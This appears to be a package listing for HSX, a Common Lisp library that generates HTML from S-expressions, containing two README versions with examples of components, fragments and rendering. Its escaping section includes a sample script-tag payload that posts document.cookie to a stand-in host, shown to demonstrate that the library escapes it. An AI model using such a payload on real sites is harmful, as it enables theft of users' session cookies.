Simple and powerful HTML generation library.

# HSX – Hypertext S-expression

**HSX** is a simple and powerful HTML generation library for Common Lisp, inspired by JSX. It allows you to write HTML using native Lisp syntax.

[Practical usage example](https://github.com/skyizwhite/website)

> Ὢ7 **BETA NOTICE:**  
> This library is still in early development. APIs may change.  
> See [release notes](https://github.com/skyizwhite/hsx/releases) for details.

## ⚙️ How HSX Works

Every tag or component inside an `(hsx ...)` form is transformed into a Lisp expression of the form:

```lisp
(create-element type props children)
```

For example:

```lisp
(hsx
  (article :class "container"
    (h1 "Title")
    (p "Paragraph")
    (~share-button :service :x))
```
Is internally transformed (by macro expansion) into:

```lisp
(create-element :article
                (list :class "container")
                (list (create-element :h1
                                      (list)
                                      (list "Title"))
                      (create-element :p
                                      (list)
                                      (list "Paragraph"))
                      (create-element #'~share-button
                                      (list :service :x)
                                      (list))))
```

## Ὠ0 Quick Example

```lisp
(hsx
  (div :id "main" :class "container"
    (h1 "Hello, HSX!")
    (p "This is a simple paragraph.")))
```

Generates:

```html
<div id="main" class="container">
  <h1>Hello, HSX!</h1>
  <p>This is a simple paragraph.</p>
</div>
```

## ὍD Rendering

Use `render-to-string` to convert an HSX structure to a string of HTML:

```lisp
(render-to-string
  (hsx ...))
``` 

## ὑ0 Escaping text

All elements automatically escape special characters in content to prevent XSS and HTML injection:

```lisp
(hsx
  (div "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))
```
Outputs:

```html
<div>&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;</div>
```

Use the special tag `raw!` to inject trusted, unescaped HTML:

```lisp
(hsx
  (article (raw! "HTML text here ..."))
```

## ᾞ9 Fragments

Use `<>` tag to group multiple sibling elements without wrapping them in a container tag:

```lisp
(hsx
  (<>
    (p "One")
    (p "Two")))
```

Outputs:

```html
<p>One</p>
<p>Two</p>
```

Note: `raw!` tag is a fragment that disables HTML escaping for its children.

## ᾟ1 Components

Define reusable components using `defcomp` macro. Component names must start with `~`.

*Keyword-style*

```lisp
(defcomp ~card (&key title children)
  (hsx
    (div :class "card"
      (h2 title)
      children)))
```

*Property-list style*

```lisp
(defcomp ~card (&rest props)
  (hsx
    (div :class "card"
      (h2 (getf props :title))
      (getf props :children))))
```

### Usage

```lisp
(hsx
  (~card :title "Hello"
    (p "This is a card.")))
```

Outputs:

```html
<div class="card">
  <h2>Hello</h2>
  <p>This is a card.</p>
</div>
```

## ᾞC Logic and Interpolation

You can freely embed Lisp expressions, conditionals, and loops inside HSX forms:

```lisp
(hsx
  (div
    (if (> (random 10) 5)
        (hsx (p "High!"))
        (hsx (p "Low!")))))
```

Or loop:

```lisp
(hsx
  (ul
    (loop :for item :in todo-list :collect
      (hsx (li item))))))
```

## Utils

- `(clsx &rest strs)`: A utility function for constructing class strings conditionally. It removes `nil` from the string list, then joins the remaining strings with spaces.

## Ὄ4 License

MIT License

© 2024 Akira Tempaku

© 2018 Bo Yao (original [flute](https://github.com/ailisp/flute) project)
 


hsx/main

# HSX

HSX (Hypertext S-expression) is a simple yet powerful HTML5 generation library for Common Lisp. It was forked from [flute](https://github.com/ailisp/flute/).

## Introduction

HSX allows you to generate HTML using S-expressions, providing a more Lisp-friendly way to create web content. By using the `hsx` macro, you can define HTML elements and their attributes in a concise and readable manner.

## Getting Started

### Basic Usage

Use the `hsx` macro to create HTML elements. Attributes are specified using a property list following the element name, and child elements are nested directly within.

```lisp
(hsx
  (div :id "example" :class "container"
    (h1 "Welcome to HSX")
    (p "This is an example paragraph.")))
```

This generates:

```html
<div id="example" class="container">
  <h1>Welcome to HSX</h1>
  <p>This is an example paragraph.</p>
</div>
```

## Examples

### Dynamic Content

HSX allows embedding Common Lisp code directly within your HTML structure, making it easy to generate dynamic content.

```lisp
(hsx
  (div
    (p :id (format nil "id-~a" (random 100)))
    (ul
      (loop :for i :from 1 :to 5 :collect (li (format nil "Item ~a" i))))
    (if (> (random 10) 5)
        (p "Condition met!")
        (p "Condition not met!"))))
```

This might generate:

```html
<div>
  <p id="id-42"></p>
  <ul>
    <li>Item 1</li>
    <li>Item 2</li>
    <li>Item 3</li>
    <li>Item 4</li>
    <li>Item 5</li>
  </ul>
  <p>Condition not met!</p>
</div>
```

### Using Fragments

To group multiple elements without adding an extra wrapper, use the fragment `<>`.

```lisp
(hsx
  (<>
    (h1 "Grouped Elements")
    (p "First paragraph.")
    (p "Second paragraph.")))
```

This generates:

```html
<h1>Grouped Elements</h1>
<p>First paragraph.</p>
<p>Second paragraph.</p>
```

## Creating Components

You can define reusable components with the `defcomp` macro. Components are functions that can take keyword arguments and properties.

```lisp
(defcomp card (&key title children)
  (hsx
    (div :class "card"
      (h1 title)
      children)))
```

Or using a property list:

```lisp
(defcomp card (&rest props)
  (hsx
    (div :class "card"
      (h1 (getf props :title))
      (getf props :children))))
```

Usage example:

```lisp
(hsx
  (card :title "Card Title"
    (p "This is a card component.")))
```

Generates:

```html
<div class="card">
  <h1>Card Title</h1>
  <p>This is a card component.</p>
</div>
```

## Rendering HTML

To render HSX to an HTML string, use the `render-to-string` function.

```lisp
(render-to-string
  (hsx
    (div :class "content"
      (h1 "Rendered to String")
      (p "This HTML is generated as a string."))))
```

## License

This project is licensed under the MIT License.

© 2024 skyizwhite

© 2018 Bo Yao

Feel free to contribute to the project and report any issues or feature requests on the [GitHub repository](https://github.com/skyizwhite/hsx).


hsx

Upstream URL

Author

Maintainer

License

hsx

Version:

License:

Authors:

Maintainers:

Dependencies:

hsx/builtin

Dependencies:

hsx/dsl

Dependencies:

hsx/element

Dependencies:

hsx/main

Dependencies:

hsx-test

Dependencies:

hsx-test/dsl

Dependencies:

hsx-test/element

Dependencies:

hsx-test/utils

Dependencies:

hsx/utils

Dependencies:

Dependencies (5)

Dependents (0)